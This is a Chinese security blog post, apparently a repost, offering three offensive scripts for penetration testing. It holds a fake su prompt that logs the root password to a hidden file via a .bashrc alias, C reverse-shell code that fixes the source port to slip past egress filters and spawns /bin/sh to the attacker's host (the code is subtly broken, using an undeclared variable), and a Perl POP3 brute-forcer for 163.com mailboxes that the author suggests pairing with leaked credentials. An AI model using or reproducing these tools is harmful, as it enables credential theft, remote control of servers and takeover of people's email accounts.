渗透用的Python小脚本

暗月博客 2019年11月21日20:37:51评论361 views字数 3255阅读10分51秒阅读模式
摘要

0x00 渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。

0x00

渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。

0x01

记录root密码小工具

root.py

#!/usr/bin/python import os, sys, getpass, time  current_time = time.strftime("%Y-%m-%d %H:%M") logfile="/dev/shm/.su.log"              //密码获取后记录在这里 #CentOS                  #fail_str = "su: incorrect password" #Ubuntu               #fail_str = "su: Authentication failure" #For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样 fail_str = "su: incorrect password" try:  passwd = getpass.getpass(prompt='Password: ');  file=open(logfile,'a')  file.write("[%s]t%s"%(passwd, current_time))   //截取root密码  file.write('n')  file.close() except:  pass time.sleep(1) print fail_str                               //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py'; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0x02

设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,

Ping了下百度 可以ping通,

那真相只有一个

服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如

只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> void error(char *msg) {         perror(msg);         exit(0); } int main(int argc, char *argv[]) {         int sockfd, portno, lportno,n;         struct sockaddr_in serv_addr;         struct sockaddr_in client_addr;         struct hostent *server;         char buffer[256];         if (argc < 3) {                 fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);                 exit(0);         }                          //三个参数,目标主机,目标主机端口,本地源端口         portno = atoi(argv[2]);         sockfd = socket(AF_INET, SOCK_STREAM, 0);         if (sockfd < 0)                 error("ERROR opening socket");             bzero((char *) &client_addr, sizeof(client_addr));         lportno = atoi(argv[3]);         client_addr.sin_family = AF_INET;         client_addr.sin_addr.s_addr = INADDR_ANY;         client_addr.sin_port = htons(lportno);         //设置源端口         if (bind(sockfd, (struct sockaddr *) &client_addr,                                 sizeof(client_addr)) < 0)                 error("ERROR on binding");           server = gethostbyname(argv[1]);         if (server == NULL) {                 fprintf(stderr,"ERROR, no such host ");                 exit(0);         }         bzero((char *) &serv_addr, sizeof(serv_addr));         serv_addr.sin_family = AF_INET;         bcopy((char *)server->h_addr,                         (char *)&serv_addr.sin_addr.s_addr,                         server->h_length);         serv_addr.sin_port = htons(portno);         if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)   //连接                 error("ERROR connecting"); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl("/bin/sh","sh -i", NULL);                        //执行shell close(fd); }

用法:

gcc client-port.c -o port

chmod +x port
    
./port  你的IP 你的监听端口 本地的源端口

如 ./port  http://www.91ri.org  80  80

成功反弹shell 提权成功

如 ./port  http://www.91ri.org  80  80

成功反弹shell 提权成功

0x03 邮箱爆破脚本

某个时候 需要爆破一批邮箱

Burp163.pl

   #!/usr/bin/perl use Net::POP3; $email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. "); print $pop->banner(); $pop->quit; $i=0; open(fp1,"user.txt");       @array1=<fp1>; open(fp2,"pass.txt"); @array2=<fp2>;                     //从文件中获取邮箱用户名及密码 foreach $a(@array1) { $u=substr($a,0,length($a)-1); $u=$u."@163.com"; foreach $b(@array2) { $p=substr($b,0,length($b)-1); print "cracked with ".$u."-----".$p."n"; $i=$i+1; $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. "); $m=$pop->login($u,$p);              //尝试登录邮箱 if($m>0) {   print $u."------------".$p."----"."success"."n";   $pop->quit; }                                //成功登录 else {   print $u."------------".$p."----"."failed"."n";   $pop->quit;                                     //登录失败 } } } print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱
    
$email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如[email protected] 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据,

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。

0x04

这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

http://www.91ri.org/8680.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:37:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透用的Python小脚本http://cn-sec.com/archives/71903.html

发表评论

匿名网友 填写信息